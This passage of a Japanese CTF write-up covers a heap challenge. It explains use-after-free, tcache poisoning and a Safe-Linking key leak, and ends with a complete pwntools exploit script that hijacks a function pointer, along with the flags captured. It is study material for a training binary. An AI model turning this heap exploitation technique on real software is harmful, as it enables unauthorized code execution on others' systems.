Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
今回関係するのはPIEだけです。
PIEが無効なので、win() と state のアドレスは毎回同じです。
$ nm good_note | grep -E " (win|state)$"
0000000000404100 B state
0000000000401296 T win
4-2. mallocとfreeとヒープ
今回のプログラムは、ノートの中身を malloc() で確保した場所に保存しています。
今回はこれまでと違い、かなり難易度が(個人的には)高いので、まずは前提知識を解説しておきます。
まず、malloc(サイズ) は、プログラムの実行中に「指定したサイズのメモリを貸してください」とお願いする関数です。
動的メモリ割り当て...なんて呼ばれてたりもしますね。
ちなみに静的割り当ては、プログラムが動き出す前からサイズと置き場所が決まっている割り当て方です。
今回のプログラムだと、Note notes[MAX_NOTE]; や state のようなグローバル変数がこれにあたります。
mallocを用いた場合、返り値として貸してもらったメモリの先頭アドレスを渡されます。
malloc() で貸し出されるメモリは、スタックとは別のヒープという領域に置かれます。
次に、プログラム内にあるfree(アドレス) は、借りたメモリを「もう使いません」と返す関数です。
貸し出されるメモリの塊をチャンクと呼びます。
今回のプログラムでは、
-
create_note()でmalloc(0x20)して、返ってきたアドレスをnotes[i].dataに保存する -
delete_note()でfree(notes[index].data)して、メモリを返す
という使い方をしています。
4-3. 脆弱性:free した後も使えてしまう
delete_note() を見ると、free() した後に is_used を false にしています。
しかし、notes[index].data には解放済みのアドレスが残ったままです。
しかも、次の2つの関数は is_used を確認していません。
-
edit_note():dataが指す領域に書き込む -
show_note():dataが指す領域を表示する
そのため、free() した後のメモリを読み書きできてしまいます。
これを Use-After-Free(UAF) と言います。
free() した後のメモリを読み書きできると何が起きるのか。
それを理解するには、free() されたメモリがどう管理されているかを知る必要があります。
4-4. freeされたチャンクの行方(tcache)
free() すると、チャンクは「次に同じサイズの malloc() が来たら使い回す」ために、glibc(Linuxの標準Cライブラリ)の中のリストに繋がれます。
この小さいサイズ用のリストが tcache です。
tcacheは、free() されたチャンクの先頭8バイトに「次のチャンクのアドレス(next)」を書き込んで繋いでいきます。
そして、最後に free() したものから順に使い回されます。
malloc(0x20) → A
malloc(0x20) → B
free(A) tcache: A → NULL
free(B) tcache: B → A → NULL
malloc(0x20) → B が返ってくる tcache: A → NULL
malloc(0x20) → A が返ってくる tcache: (空)
ここでUAFが効いてきます。
free() されたBの先頭8バイト(next)を、UAFで好きなアドレスXに書き換えたらどうなるでしょうか。
free(A), free(B) tcache: B → A
UAFで B の next を X に変える tcache: B → X
malloc() → B が返ってくる
malloc() → X が返ってくる
2回目の malloc() で、好きなアドレスXが返ってきます。
返ってきたXは notes[i].data に入るので、edit_note() でXに好きな値を書き込めます。
これが tcache poisoning です。
今回のXは &state です。
4-5. Safe-Linking
ただし、最近のglibc(2.32以降)には Safe-Linking という仕組みがあります。
tcacheの next は、アドレスそのままではなく、次のようにXOR(ビットごとに、違えば1・同じなら0にする演算)で隠して保存されています。
保存される値 = next のアドレス XOR (その値を保存するチャンクのアドレス >> 12)
ここで、>>は右シフトです。値を保存するチャンクのアドレスを12ビット右にシフトするということです。
なので、Bの next を &state にしたいなら、
書き込む値 = &state XOR (Bのアドレス >> 12)
を書き込む必要があります。
&state は分かりますが、Bのアドレス(ヒープのアドレス)が分かりません。
4-6. Safe-Linkingのキーを漏らす
ここで show_note() を使います。
Aだけを free() した直後、tcacheは A → NULL です。
next が NULL(0)なので、Aに保存される値は
0 XOR (Aのアドレス >> 12) = Aのアドレス >> 12
となり、XORに使う値(以下キー)そのものになります。
2問目の init では & 0xfc で下位2ビットを無視しました。
そして今回は >> 12 で下位12ビットを取り除くので、操作は違いますが、下位ビットの差が結果に影響しなくなる点に関しては似ていますね。
この状態で show_note() を呼べば、free() 済みのAの中身が表示され、キーが手に入ります。
AとBは続けて確保した小さいチャンクなので、アドレスが近くなることが多いです。
ただし、近いだけで必ず同じキーになるわけではありません。
AのキーをBにも使えるのは、AとBが同じ4KiBページにあり、(Aのアドレス >> 12) == (Bのアドレス >> 12) が成り立つ場合です。
この条件なら、Aから漏らした値をBのキーとして使えます。
ここで、state の定義をもう一度見てみます。
struct {
void (*finalizer)(void);
char _pad[8];
} state __attribute__((aligned(0x10)));
aligned(0x10) は、state の先頭アドレスを16バイト境界に揃える指定です。
16バイト境界とは、そのアドレスが16(0x10)で割り切れる位置のことです。
例えば 0x404100 は16で割り切れますが、0x404108 は割り切れません。
今回の &state は 0x404100 です。
glibcのtcacheでは、チャンクを取り出す際にポインタが16バイト境界に揃っているかを確認するため、&state はこのアラインメントチェックを通過できます。
さらに、64bitのglibc 2.35では、tcacheからエントリを取り出す際、エントリ先頭から8バイト後ろにある管理用の key フィールドを0にします。
state は先頭8バイトが finalizer、次の8バイトが _pad なので、この処理で finalizer は壊れません。
つまり aligned(0x10) と _pad[8] は、state をtcache poisoningの標的にするうえで都合のよい構造なのです。
4-7. 攻撃の流れ
ここまでをまとめると、作戦はこうなります。
(1) create, create notes[0] = A, notes[1] = B
(2) delete 0 tcache: A → NULL
(3) show notes[0] (A) の中身 = キーが表示される
(4) delete 1 tcache: B → A → NULL
(5) edit 1 B の next を (&state XOR キー) に書き換え
tcache: B → state
(6) create notes[0] = B
(7) create notes[1] = &state
(8) edit 1 state.finalizer = win
(9) メニューを抜ける state.finalizer() → win()
ここまで、UAFから state.finalizer を書き換えるまでの流れを追ってきました。
ヒープはスタックと比べてもかなり複雑なので、一度で理解するのは難しいと思います。
現に自分もこのあたりの解説には自信が無いです...。
間違っているものがあれば、指摘お願いします...!
4-8. Exploit
from pwn import *
#contextに配布されたバイナリを読み込ませておくと、自動で色々設定してくれるので便利
context.binary = elf = ELF("./good_note", checksec=False)
#ローカルで試すときはこっち
#io = process("./good_note")
io = remote("x.x.x.x", xxxx)
def cmd(n):
io.sendlineafter(b"command >> ", str(n).encode())
def create():
cmd(1)
def edit(idx, data):
cmd(2)
io.sendlineafter(b"index >> ", str(idx).encode())
io.sendafter(b"content >> ", data)
def delete(idx):
cmd(3)
io.sendlineafter(b"index >> ", str(idx).encode())
# (1) A, B を確保
create() # notes[0] = A
create() # notes[1] = B
# (2)(3) A だけ free して、キーを表示させる
delete(0)
cmd(4)
io.recvuntil(b"notes[0x0]\n")
leak = io.recvline(keepends=False)
key = u64(leak.ljust(8, b"\x00"))
log.info(f"key = {key:#x}")
# (4) B も free
delete(1)
# (5) B の next を &state に向ける
edit(1, p64(elf.sym["state"] ^ key).ljust(0x20, b"Q"))
# (6)(7) 2回目の malloc で &state が返ってくる
create() # notes[0] = B
create() # notes[1] = &state
# (8) state.finalizer を win に書き換え
edit(1, p64(elf.sym["win"]).ljust(0x20, b"R"))
# (9) 1〜4以外を入力するとメニューを抜ける
cmd(9)
print(io.recvall(timeout=2).decode(errors="replace"))
p64() は数値を8バイトのリトルエンディアンのバイト列に、u64() はその逆に変換する関数です。
表示されたキーは途中の \0 で途切れるので、ljust(8, b"\x00") で8バイトに戻してから u64() に渡しています。
[*] key = 0x2954b
flag{this_is_a_test_flag}
本番環境では以下のフラグが得られました。
flag{9f2c8a7e1b4d6f30c5a8e2d7b1f9c}
LLMの利用について
主にPwntoolsを用いたプログラム生成にLLMを使用しました。
OSINTではGoogleレンズと合わせてLLMも使用したり、Webでもペイロードの作成にAIを使ったり。
また、この記事の推敲にもAIを使っています。
そうですね、ひらめきの後の作業を任せたといいますか...
私はプログラミングは読むのは好きですが、書くのは好きではなくて。
そういった面では、かなりAIに助けられました。
おわりに
とても面白いCTFでした。
運営のFFRIセキュリティの皆様、NFLabsの皆様、本当にありがとうございました。
少しでもPwnableについて理解を深めていただけたら幸いです...!
最後までお読みいただき、ありがとうございました。